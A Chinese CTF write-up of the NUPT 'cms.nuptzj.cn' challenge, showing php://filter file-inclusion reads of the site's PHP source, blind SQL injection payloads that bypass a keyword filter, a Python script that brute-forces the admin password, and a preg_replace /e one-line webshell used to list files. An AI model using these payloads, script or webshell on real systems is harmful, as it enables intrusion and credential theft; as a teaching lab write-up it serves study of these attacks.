关于sql注入的综合题

                         ----------南京邮电大学ctf : http://cms.nuptzj.cn/

页面上也给了好多信息:

根据这个sm.txt , 我们可以得到好多消息,config.php:存放数据库信息,移植此CMS时要修改 index.php:主页文件 passencode.php:Funny公司自写密码加密算法库 say.php:用于接收和处理用户留言请求 sm.txt:本CMS的说明文档 sae的information_schema表好像没法检索,我在这里给出admin表结构 create table admin ( id integer, username text, userpass text, ),表名 : admin  字段名 :username , userpass

而且当我们看到这个url : http://cms.nuptzj.cn/about.php?file=sm.txt  我们可以感受到文件包含的气息 。具体操作步骤在我上一篇博客中:http://www.cnblogs.com/bmjoker/p/8877336.html,我们尝试输入 http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=antiinject.php

我们通过https://www.107000.com/ 解码:可以得到

  1. antiinject.php
  2. <?php
  3. function antiinject($content){
  4. $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
  5. $info=strtolower($content);
  6. for($i=0;$i<=count($keyword);$i++){
  7. $info=str_replace($keyword[$i], '',$info);
  8. }
  9. return $info;
  10. }
  11. ?>

同理我们可以得到:

  1. so.php
  2. <?php
  3. if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
  4. echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
  5. exit();
  6. }
  7. $id=$_POST['soid'];
  8. include 'config.php';
  9. include 'antiinject.php';
  10. include 'antixss.php';
  11. $id=antiinject($id);
  12. $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
  13. mysql_select_db($db_name,$con);
  14. $id=mysql_real_escape_string($id);
  15. $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
  16. $rs=mysql_fetch_array($result);
  17. echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
  18. mysql_free_result($result);
  19. mysql_free_result($file);
  20. mysql_close($con);
  21. ?>
  1. say.php
  2. <?php
  3. include 'config.php';
  4. $nice=$_POST['nice'];
  5. $say=$_POST['usersay'];
  6. if(!isset($_COOKIE['username'])){
  7. setcookie('username',$nice);
  8. setcookie('userpass','');
  9. }
  10. $username=$_COOKIE['username'];
  11. $userpass=$_COOKIE['userpass'];
  12. if($nice=="" || $say==""){
  13. echo "<script>alert('昵称或留言内容不能为空!(如果有内容也弹出此框,不是网站问题喔~ 好吧,给个提示:查看页面源码有惊喜!)');</script>";
  14. exit();
  15. }
  16. $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
  17. mysql_select_db($db_name,$con);
  18. $nice=mysql_real_escape_string($nice);
  19. $username=mysql_real_escape_string($username);
  20. $userpass=mysql_real_escape_string($userpass);
  21. $result=mysql_query("SELECT username FROM admin where username='$nice'",$con);
  22. $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con);
  23. if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){
  24. echo "<script>alert('昵称已被使用,请更换!');</script>";
  25. mysql_free_result($login);
  26. mysql_free_result($result);
  27. mysql_close($con);
  28. exit();
  29. }
  30. mysql_free_result($login);
  31. mysql_free_result($result);
  32. $say=mysql_real_escape_string($say);
  33. mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con);
  34. mysql_close($con);
  35. echo '<script>alert("构建和谐社会,留言需要经过管理员审核才可以显示!");window.location = "./index.php"</script>';
  36. ?>
  1. passencode.php
  2. <?php
  3. function passencode($content){
  4. //$pass=urlencode($content);
  5. $array=str_split($content);
  6. $pass="";
  7. for($i=0;$i<count($array);$i++){
  8. if($pass!=""){
  9. $pass=$pass." ".(string)ord($array[$i]);
  10. }else{
  11. $pass=(string)ord($array[$i]);
  12. }
  13. }
  14. return $pass;
  15. }
  16. ?>
  1. antixss.php
  2. <?php
  3. function antixss($content){
  4. preg_match("/(.*)\[a\](.*)\[\/a\](.*)/",$content,$url);
  5. $key=array("(",")","&","\\","<",">","'","%28","%29"," on","data","src","eval","unescape","innerHTML","document","appendChild","createElement","write","String","setTimeout","cookie");//因为太菜,很懒,所以。。。(过滤规则来自Mramydnei)
  6. $re=$url[2];
  7. if(count($url)==0){
  8. return htmlspecialchars($content);
  9. }else{
  10. for($i=0;$i<=count($key);$i++){
  11. $re=str_replace($key[$i], '_',$re);
  12. }
  13. return htmlspecialchars($url[1],ENT_QUOTES).'<a href="'.$re.'">'.$re.'</a>'.htmlspecialchars($url[3],ENT_QUOTES);
  14. }
  15. }
  16. ?>
  1. about.php
  2. <?php
  3. $file=$_GET['file'];
  4. if($file=="" || strstr($file,'config.php')){
  5. echo "file参数不能为空!";
  6. exit();
  7. }else{
  8. $cut=strchr($file,"loginxlcteam");
  9. if($cut==false){
  10. $data=file_get_contents($file);
  11. $date=htmlspecialchars($data);
  12. echo $date;
  13. }else{
  14. echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
  15. }
  16. }

通过观察so.php,存在注入点soid。数据表名为admin 字段名username userpass
开始注入

  1. soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/0,1)
  2. # 有回显
  3. soid=1/**/anANDd/**/exists(seleSELECTct/**/coCOUNTunt(*)/**/frFROMom/**/admiADMINn/**/limit/**/1,1)
  4. # 无回显

说明该表中只有一条记录。

  1. soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>4)
  2. # 有回显
  3. soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernaNAMEme)>5)
  4. # 无回显

说明用户名长度 5 位,那应该就是 admin 了,试下前两位。

  1. soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,1,1))>96)
  2. # 96 有回显,97 无回显,第一位 a
  3. soid=1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where/**/ascii(mid(usernamNAMEe,2,1))>99)
  4. # 99 有回显,100 无回显,第二位 d

很明显就是 admin 了。

  1. soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>33)
  2. # 有回显
  3. soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaPASSss)>34)
  4. # 无回显

说明密码长度 34 位,之前还读到一个 passencode.php 文件。

密文存储了密码的 ASCII 码,那么就是纯数字了,写个脚本跑一下。

利用脚本爆内容

  1. # coding=utf-8
  2. import requests
  3. import string
  4.  
  5. urlmain = 'http://cms.nuptzj.cn/so.php'
  6. headers = {
  7. 'User-Agent': 'Xlcteam Browser',
  8. 'Host': 'cms.nuptzj.cn',
  9. }
  10.  
  11. payloads = string.digits
  12. password = ''
  13.  
  14. for i in range(1, 35):
  15. for j in payloads:
  16. payload = ('1/**/anANDd/**/exists(selecSELECTt/**/*/**/froFROMm/**/admiADMINn/**/where'
  17. '/**/ascii(mid(userpasPASSs,%s,1))>%s)' % (i, ord(j)))
  18. data = {
  19. 'soid': payload
  20. }
  21. response = requests.post(url=urlmain, headers=headers, data=data)
  22. if len(response.content) < 430:
  23. password += j
  24. print '[*] Fetching password: ' + password
  25. break

结果为admin        1020117099010701140117011001160117

后面的加密算法在passencode.php里面解密为    fuckruntu
有了账号密码就可以登后台了在about.php里有loginxlcteam

找到登陆后台:http://cms.nuptzj.cn/loginxlcteam/

登录

一句话木马

  1. xlcteam.php
  2. <?php
  3. $e = $_REQUEST['www'];
  4. $arr = array($_POST['wtf'] => '|.*|e',);
  5. array_walk($arr, $e, '');
  6. ?>

典型的一句话木马

上网搜索


令www=preg_replace&wtf=print_r(scandir(‘.’))
出flag

3. 关于sql注入的综合题的更多相关文章

  1. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  2. 一道简单的SQL注入题

    这是我真正意义上来说做的第一道SQL题目,感觉从这个题目里还是能学到好多东西的,这里记录一下这个题目的writeup和在其中学到的东西 link:https://www.ichunqiu.com/ba ...

  3. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  4. CTFHub Web题学习笔记(SQL注入题解writeup)

    Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...

  5. 【渗透攻防WEB篇】SQL注入攻击初级

    前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...

  6. 从orderby引发的SQL注入问题的思考

    背景: 某一天准备上线,合完master之后准备发布了,忽然公司的代码安全监测提示了可能在代码中存在sql注入的风险,遂即检查,发现sql注入问题 既然碰到了这个问题,那就了简单了解下sql注入 基础 ...

  7. Sqli-LABS通关笔录-17-审计SQL注入

    这个关卡开始好像进入新的知识区了,前面几个是让我们加深对盲注的印象.接下来又是新知识了!皮卡丘,接招吧! 代码是从SQL-libs的第十七关卡扣的. 页面效果如下所示: PHP面完整CODE如下所示: ...

  8. 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒

    前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...

  9. WEB 安全之 SQL注入<一> 盲注

    SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...

随机推荐

  1. 编译EasyDSS rtmp流媒体服务器遇到stray '_239' inprogram,stray '_187' inprogram,stray '_191' inprogram的解决办法

    使用用户提供的交叉编译工具链编译easydss时遇到一个编译错误 stray '\239' inprogram stray '\187' inprogram stray '\191' inprogra ...

  2. AWK命令使用

    前言 文本处理三剑客中,grep强在文本查找,sed强在文本处理,现awk强在文本查找后的输出处理.awk可以在处理文本的过程中使用编程结构(变量.条件判断.循环)以及其内置的变量,这就是它强大的地方 ...

  3. 我的Java开发学习之旅------>Java经典排序算法之插入排序

    一.算法原理 插入排序法:所谓插入排序法乃是将一个数目插入该占据的位置. 假设我们输入的是 "53,27,36,15,69,  42" 我们从第二个数字开始,这个数字是27,我们的 ...

  4. Linux就该这么学--计划任务服务

    有经验的系统运维工程师能够让系统自动化运行,无需人工的干预就可以让各个服务.命令在指定的时间段运行.停止. 计划任务分为: 一次性计划任务:今晚11:30开启网站服务 长期性计划任务:每周1.3.5的 ...

  5. 如何查看apache配置文件路径

    我是用https://lamp.sh/安装的,apache配置文件位置在:/usr/local/apache/conf/httpd.conf如果是直接安装的apache,配置文件应该在:/etc/ht ...

  6. 20145239 杜文超 实验四 Android开发基础

    20145239实验四 Android开发基础 实验内容 基于Android Studio开发简单的Android应用并部署测试 了解Android组件.布局管理器的使用 掌握Android中事件处理 ...

  7. 20145239杜文超 《Java程序设计》第2周学习总结

    20145239 <Java程序设计>第2周学习总结 教材学习内容总结 第三章主要介绍了Java语言的基础语法. 要求我们认识类型与变量,学习运算符的基本使用以及了解类型转换.运用基本流程 ...

  8. winform中通过事件实现窗体传值思路【待修改】

    Form2向Form1传值         private Form1 form1;//定义一个类型为Form1类型的字段,用于存储传递过来的Form对象         public void Se ...

  9. 鸟哥的linux私房菜 - 第三章 主机规划与磁盘分区

    各硬件装置在linux中的文件名 在linux系统中,每个装置都被当成一个档案来对待. 常见的装置与其在linux中的档名: 磁盘分区 磁盘链接的方式与装置文件名的关系 个人计算机常见的磁盘接口有两种 ...

  10. 苹果AppStore如何申请加急审核

    登录iTunesconnect,点击右上角的“?”图标,选择“联系我们”. iTunes Connect首页 依次选择“App Review”.“App Store Review” .” Reques ...